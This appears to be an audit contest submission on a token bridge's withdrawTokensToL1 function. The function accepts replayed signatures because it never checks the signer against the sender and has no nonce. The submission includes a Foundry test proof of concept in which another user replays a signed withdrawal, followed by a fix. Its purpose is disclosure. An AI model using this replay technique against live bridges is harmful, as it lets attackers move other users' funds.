Submission Details
Severity:
`withdrawTokensToL1` can be used to relay someone's signature and transfer his tokens from the vault
Summary
Assuming that the amounts deposited/withdrawn are correctly handled (which is obviously not the case here), since the function sendToL1 does not check if the signer is the sender of the tx, anyone can easily replay a signature. Additionnal protections like nonce.. would have also prevented this.
Vulnerability Details
A malicious user can force any signed user to withdraw from vault.
POC
function testUser2CanReplayUser1Sig() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, 5 ether), operator.key);
tokenBridge.withdrawTokensToL1(user, 5 ether, v, r, s);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), depositAmount - 5 ether);
assertEq(token.balanceOf(address(user)), userInitialBalance - 5 ether);
assertEq(token.balanceOf(address(vault)), 5 ether);
address user2 = makeAddr("User2");
vm.prank(user2);
tokenBridge.withdrawTokensToL1(user, 5 ether, v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance);
}
Impact
High, users are forcefully removed from L2. A core functionality is exposed.
Tools Used
Foudnry
Recommendations
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
+ if (signer != msg.sender){
+ revert();
+ }
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}
Consider also adding a nonce to signature to avoid any type of replay even from
signer == msg.sender
Updates
Lead Judging Commences
0xnevi almost 2 years ago
Submission Judgement Published Assigned finding tags:
withdrawTokensToL1()/sendToL1(): signature replay
Rewards breakdown
nSLOC
99This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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